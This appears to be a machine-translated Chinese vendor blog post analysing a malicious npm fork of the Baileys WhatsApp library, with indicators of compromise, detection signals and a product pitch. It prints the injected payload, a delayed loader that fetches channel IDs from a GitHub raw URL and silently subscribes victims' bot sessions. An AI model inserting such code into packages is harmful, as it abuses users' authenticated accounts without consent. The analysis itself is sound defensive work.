恶意 npm 包

Baileys Fork 中的恶意 npm 包(Skyzopedia 案例)

TL博士

Xygeni 安全研究团队 确定了一个 恶意 npm 包, @dappaoffc/baileys-mod它是基于广泛使用的 WhatsApp Web API 库的一个分支发布的。 @whiskeysockets/baileys.

从 8.0.1 版本开始,这个恶意 npm 包内部包含运行时代码注入。 lib/Socket/newsletter.js注入的逻辑会悄无声息地将开发者的已认证 WhatsApp 机器人会话订阅到攻击者控制的新闻通讯频道。

有效载荷在模块加载后 80 秒激活,并从 GitHub 动态检索其目标列表,使得该行为能够自我更新,并且难以通过安装时分析来检测。

技术概述

在对新发布的依赖项进行例行监控期间,Xygeni 安全研究团队检测到异常行为。 @dappaoffc/baileys-mod,后来被证实为 恶意 npm 包 目标市场是WhatsApp聊天机器人生态系统。

与窃取凭证的蠕虫或勒索软件投放器不同,这种恶意 npm 包滥用了开发者与常用开源库分支之间的信任关系。

该软件包自称是以下版本的修改版: 百利甜酒这是一个流行的 WhatsApp Web API 实现,被广泛用于构建自动化机器人。在该生态系统中,安装分支版本是一种常见做法。因此,攻击者利用的是一种真实的分发模式,而不是利用漏洞。

重要的:

  • 预安装脚本仅验证 Node.js 版本
  • 安装过程中不会发生凭证泄露。
  • 未发现可疑的安装后活动
  • 注入操作严格在运行时执行。

由于这种设计,安装时扫描程序将无法检测到恶意行为。

恶意 npm 包内部的运行时注入机制

这个恶意 npm 包内部的恶意逻辑存在于…… lib/Socket/newsletter.js直接嵌入到模块的执行上下文中。

攻击者将注入的代码块包装在立即调用函数表达式 (IIFE) 中,从而保证模块加载后立即执行。

然而,该有效载荷并没有立即触发,而是引入了一种延迟执行机制:

(async () => {
  try {
    setTimeout(async() => {
      const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
      const newsletterIds = await res.json();
      newsletterIds.forEach(async(i) => {
        await delay(5000)
        try {
          await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
        } catch (e) {}
      });
    }, 80000)
  } catch (err) {}
})()

延迟结束后,有效载荷将执行一系列受控序列:

  • JSON 文件来自 GitHub 原始内容 URL。
  • 解析 WhatsApp 新闻邮件 ID 列表。
  • 遍历列表。
  • 呼叫 newsletterWMexQuery(id, QueryIds.FOLLOW) 对于每个条目。
  • 空格请求间隔五秒,以减少速率限制检测。
  • 静默抑制所有运行时错误。

由于代码调用的是内部库函数而非外部脚本,因此产生的流量与合法的用户发起操作看起来无法区分。 WhatsApp的的 从协议角度来看,该机器人是自愿订阅这些频道的。

技术对比:合法行为与注入行为

元件 合法行为 恶意注射
安装阶段 仅验证 Node.js 版本 安装过程中未发现任何明显的恶意行为
模块初始化 出口 WhatsApp 插座工厂 IIFE 在模块加载时自动执行
执行时序 无延迟行为 延迟80秒激活
网络通讯 仅通过 WhatsApp WebSocket 协议进行通信 从 GitHub 获取原始内容(动态控制通道)
新闻简报操作 用户发起的订阅请求 通过内部库 API 发送自动关注请求
错误处理 传播操作错误 静默抑制所有异常

通过 GitHub 实现动态控制通道

新闻邮件 ID 列表托管在:

https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json

这种设计具有以下几个操作优势:

  • 无需发布新的 npm 版本即可动态更新有效负载
  • 可信的 TLS 端点,可融入正常的开发者流量中
  • 无需攻击者管理的基础设施
  • 跨已部署机器人的持久性

由于注入操作在工厂作用域内执行,因此它会重用内部闭包,例如: newsletterWMexQuery 以及 delay 无需导入外部模块。这最大限度地减少了资源占用,提高了隐蔽性。

实际上,GitHub 充当了一个轻量级的命令分发渠道。

依赖别名和归因信号

软件包元数据包含以下依赖项别名:

"libsignal": "npm:@skyzopedia/libsignal-node"

这会将一个关键的加密依赖项重定向到攻击者控制的 npm 作用域。

此外,元数据通过引用原始作者和代码库来冒充上游项目。这提高了人们感知到的合法性,并减少了在非正式审查中受到的关注。

这些信号表明这是有意进行的生态系统融合,而不是…… 趁机篡改.

此恶意 npm 包的入侵指标

安全团队在调查此恶意 npm 包时应评估以下信号:

网络信号

  • 出站 GET 请求 raw.githubusercontent.com 来自 WhatsApp 机器人进程
  • 新闻简讯关注操作在没有应用程序逻辑触发的情况下发生

数据包信号

  • @dappaoffc/baileys-mod 版本 8.0.1 (以及可能的 8.0.0 版本)
  • 依赖别名重定向 libsignal
  • 运行时 IIFE 注入 newsletter.js

行为信号

  • 以五秒间隔发送的 FOLLOW 请求
  • 订阅新闻简报前无需用户进行任何操作。
  • 核心库代码内部的静默错误抑制

与传统恶意软件不同,这种攻击不需要窃取凭证。滥用行为完全发生在已通过身份验证的会话环境中。

利用 Xygeni 进行检测和缓解

这个案例说明了为什么仅靠安装时扫描是不够的。恶意行为在模块加载后执行,并隐藏在合法的业务逻辑中。

Xygeni 的恶意软件预警 (MEW) 通过关联多个信号而不是依赖单个特征来检测此包裹。

全源静态分析

MEW 会检查完整的软件包源代码树,而不仅仅是生命周期脚本。

在这种情况下,检测信号包括:

  • 意外 fetch() 在 WhatsApp 核心模块内部调用
  • 向 GitHub 原始内容发送出站通信
  • 运行时逻辑中嵌入的延迟执行模式
  • 嵌套静默错误处理

单独来看,这些模式似乎并无大碍。然而,综合分析却揭示出与正规百利甜酒叉不符的异常行为。

依赖风险相关性

libsignal 别名引发了额外的审查,因为它将敏感依赖项重定向到未经验证的作用域。

Xygeni 相关:

  • 出版商声誉信号
  • 范围所有权不一致
  • 对加密库的依赖重定向
  • 元数据冒充指标

这种分层分析方法可以减少误报,同时识别信任滥用行为。

运行时感知供应链控制

由于这个恶意 npm 包是在运行时执行的,因此有效的防御需要行为感知分析。

Xygeni 评估:

  • 延迟执行机制
  • 内部 API 滥用
  • 依赖代码内部的出站网络调用
  • 第三方库内部的异常控制流

此外, Guardrails 政策在 CI/CD 能够:

  • 构建过程中阻止意外的外呼。
  • 检测可疑的依赖关系图变化
  • 强制执行作用域重定向限制
  • 标记动态有效载荷检索模式

因此,遏制措施并不仅仅依赖于注册表下架。

为什么这个恶意 npm 包对供应链安全至关重要

这个恶意 npm 包反映了供应链滥用行为的结构性转变:

  • 运行时执行而非安装时有效载荷
  • 托管在可信平台上的动态控制通道
  • 滥用合法的内部API
  • 伪造元数据以模仿上游维护者

攻击者并未利用软件漏洞,而是利用了用户对分支和依赖项更新的信任。

因此,检测需要进行全源检查、依赖风险关联分析和运行时感知分析,而不仅仅是脚本扫描。

sca-tools-软件-成分分析工具
确定软件风险的优先级、进行补救并加以保护
7-day免费试用
无需信用卡

保护您的软件开发和交付

使用 Xygeni 产品套件